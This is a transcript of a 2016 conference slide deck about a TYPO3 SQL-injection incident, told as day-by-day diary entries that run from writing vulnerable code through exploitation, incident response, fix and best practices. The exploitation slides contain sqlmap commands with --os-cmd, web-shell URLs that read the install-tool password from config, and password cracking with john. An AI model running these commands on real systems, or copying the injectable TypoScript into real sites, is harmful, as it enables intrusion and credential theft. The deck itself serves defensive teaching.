diary of a hack

61
Inspiring people to share Diary of a Hack Vulnerabilities and Attacks Diary of a Hack Helmut Hummel <[email protected]> 22.04.2016 Vulnerabilities and Exploits 1

Upload: helmut-hummel

Post on 16-Apr-2017

370 views

Category:

Technology


0 download

TRANSCRIPT

Page 1: Diary of a Hack

Inspiring people to

shareDiary of a Hack

Vulnerabilities and Attacks

Diary of a Hack

Helmut Hummel <[email protected]>

22.04.2016

Vulnerabilities and Exploits

1

Page 2: Diary of a Hack

2

@helhum

Page 3: Diary of a Hack

Security

3

Page 4: Diary of a Hack

4

http://typotic.com/uploads/posts/3427/funny-dude-this-is-boring-01.jpg

Page 5: Diary of a Hack

5

http://www.pxleyes.com/images/contests/teddy-bears-2/fullsize/Story-time-507bf54d589a1_hires.jpg

Page 6: Diary of a Hack

6

http://www.value-scope.com/wp-content/uploads/bug_vs_feature.gif

Page 7: Diary of a Hack

7

http://www.value-scope.com/wp-content/uploads/bug_vs_feature.gif

Page 8: Diary of a Hack

8

http://i.telegraph.co.uk/multimedia/archive/02210/squirrel_2210134b.jpg

Page 9: Diary of a Hack

9

https://xkcd.com/327/

Page 10: Diary of a Hack

10

http://www.kitploit.com/2013/06/john-ripper-v180-fast-password-cracker.html

Page 11: Diary of a Hack

11

https://ilifejourney.files.wordpress.com/2011/11/spaghetti-mess.jpg

Page 12: Diary of a Hack

12

http://img3.wikia.nocookie.net/__cb20121122132016/villains/images/f/fb/Janitor_2.jpg

Page 13: Diary of a Hack

13

http://i.livescience.com/images/i/000/029/390/i02/shutterstock_105432542.jpg?1343404330

Page 14: Diary of a Hack

14

Page 15: Diary of a Hack

Diary of a Hack

15

Page 16: Diary of a Hack

Diary of a Hack

Day 1 - Implementing a feature

16

Page 17: Diary of a Hack

Diary of a Hack

17

lib.sqliSimple = CONTENT lib.sqliSimple { table = tt_content select.where.wrap = colPos=| select.where.data = GP:colPos }

Page 18: Diary of a Hack

Diary of a Hack

18

lib.sqliSearch = CONTENT lib.sqliSearch { table = tt_content select.where.wrap = header like '%|%' select.where.data = GP:search }

Page 19: Diary of a Hack

Diary of a Hack

Day 2 - Testing the feature

19

Page 20: Diary of a Hack

Diary of a Hack

20

Page 21: Diary of a Hack

Diary of a Hack

21

'BE/debug' => '1''FE/debug' => '1''SYS/devIPmask' => '*''SYS/displayErrors' => '1''SYS/sqlDebug' => '1''SYS/exceptionalErrors' => '28674'

Page 22: Diary of a Hack

Diary of a Hack

22

Page 23: Diary of a Hack

Diary of a Hack

23

'DB/username' => 'root'

Page 24: Diary of a Hack

Diary of a Hack

24

Page 25: Diary of a Hack

Diary of a Hack

Day 3 - Distraction

25

Page 26: Diary of a Hack

Diary of a Hack

26

Page 27: Diary of a Hack

Diary of a Hack

Day 4 - Attraction

27

Page 28: Diary of a Hack

Diary of a Hack

28

https://www.google.de/?q=exec_SELECTquery+%22You+have+an+error+in+your+SQL+syntax%22

Page 29: Diary of a Hack

Diary of a Hack

Day 5 - Exploitation

29

Page 30: Diary of a Hack

Inspiring people to

shareDiary of a Hack

Vulnerabilities and Attacks

Excursion - SQLi

30

Page 31: Diary of a Hack

Excursion - SQLi

31

SELECT * FROM tt_content WHERE colPos = 0

Page 32: Diary of a Hack

32

'SELECT * FROM tt_content WHERE colPos = ' . $_GET['colPos']

Excursion - SQLi

Page 33: Diary of a Hack

33

Excursion - SQLi

Page 34: Diary of a Hack

34

'SELECT * FROM tt_content WHERE colPos = ' . $_GET['colPos']

Excursion - SQLi

Page 35: Diary of a Hack

35

'SELECT * FROM tt_content WHERE colPos = 0 or hidden = 1'

$_GET['colPos']

Excursion - SQLi

Page 36: Diary of a Hack

Disclaimer

36

Page 37: Diary of a Hack

Don’t do this at home!

37

Page 38: Diary of a Hack

(unless you have written permit)

38

Page 39: Diary of a Hack

Diary of a Hack

39

$ sqlmap -u 'http://security.dev/index.php?id=37&colPos=0' -p 'colPos'!GET parameter 'colPos' is vulnerable. Do you want to keep testing the others? [y/N] sqlmap identified the following injection points with a total of 30 HTTP(s) requests:

Page 40: Diary of a Hack

Inspiring people to

shareDiary of a Hack

Vulnerabilities and Attacks

The power of MySQL

40

Page 41: Diary of a Hack

Diary of a Hack

41

$ sqlmap -u 'http://security.dev/index.php?id=37&colPos=0' -p 'colPos' \ —os-cmd='ls -al'

Page 42: Diary of a Hack

Diary of a Hack

42

Page 43: Diary of a Hack

Diary of a Hack

43

http://security.dev/tmpbrsru.php?cmd=touch%20typo3conf/ENABLE_INSTALL_TOOL!http://security.dev/typo3/sysext/install/Start/Install.php!http://security.dev/tmpbrsru.php?cmd=grep%20installToolPassword%20typo3conf/LocalConfiguration.php

Page 44: Diary of a Hack

Diary of a Hack

44

$ john pwLoaded 1 password hash (phpass MD5 [128/128 SSE2 intrinsics 4x4x5])password (dummy)guesses: 1 time: 0:00:00:01 DONE (Thu Jun 4 11:00:44 2015) c/s: 900 trying: 123456 - fishing

Page 45: Diary of a Hack

Diary of a Hack

45

Page 46: Diary of a Hack

Diary of a Hack

Day 5 - Discovery

46

Page 47: Diary of a Hack

Diary of a Hack

Discovery• Take site offline!

• seriously

• I mean it

47

Page 48: Diary of a Hack

48

Page 49: Diary of a Hack

Diary of a Hack

Day 6 - Analysis

49

Page 50: Diary of a Hack

Diary of a Hack

Analysis• Make a backup of current state (files, DB, logs)

• Search all logs for „suspicious“ entries

• Find point of entry (security issue)

• If in doubt: get help

50

Page 51: Diary of a Hack

Diary of a Hack

Day 7 - Fix

51

Page 52: Diary of a Hack

Diary of a Hack

52

lib.sqliSimple = CONTENT lib.sqliSimple { table = tt_content select.where = colPos=###colPos### select.markers { colPos.data = GP:colPos } }

Page 53: Diary of a Hack

Diary of a Hack

53

lib.sqliSearch = CONTENT lib.sqliSearch { table = tt_content select.where = header like ###search### select.markers { search.data = GP:search search.wrap = %|% } }

Page 54: Diary of a Hack

Diary of a Hack

Fix• Close security issue in Code/ Extension/ Core

• Restore from backup

• Or if you really know what you are doing: cleanup installation

• Go online again

• Plan improvements (education, monitoring, …)

54

Page 55: Diary of a Hack

Diary of a Hack

Day 8 - Improve

55

Page 56: Diary of a Hack

Inspiring people to

shareSecurity of Web Applications

Vulnerabilities and Attacks

Topictext

Lessons learned• Development/ Testing Environment

• Deploy to Production

• Least privilege

• There is no Software without bugs. Be prepared!

56

Page 57: Diary of a Hack

Diary of a Hack

Best Practice• Operations

• Regular updates

• Backups

• Monitoring

• Development

• Peer Reviews (TypoScript, Code, Templates)

• (automated) Tests

• Focus

• Education

• Allocate time for all of the above

57

Page 58: Diary of a Hack

Questions?

58

Page 59: Diary of a Hack

Inspiring people to

shareSecurity of Web Applications

Vulnerabilities and Attacks

Diary of a Hack

Resources• http://docs.typo3.org/typo3cms/SecurityGuide/

• http://sqlmap.org

• http://www.openwall.com/john/

• https://www.owasp.org/

59

Page 60: Diary of a Hack

Thank you!

60

Page 61: Diary of a Hack

61

@helhum

http://helhum.io

[email protected]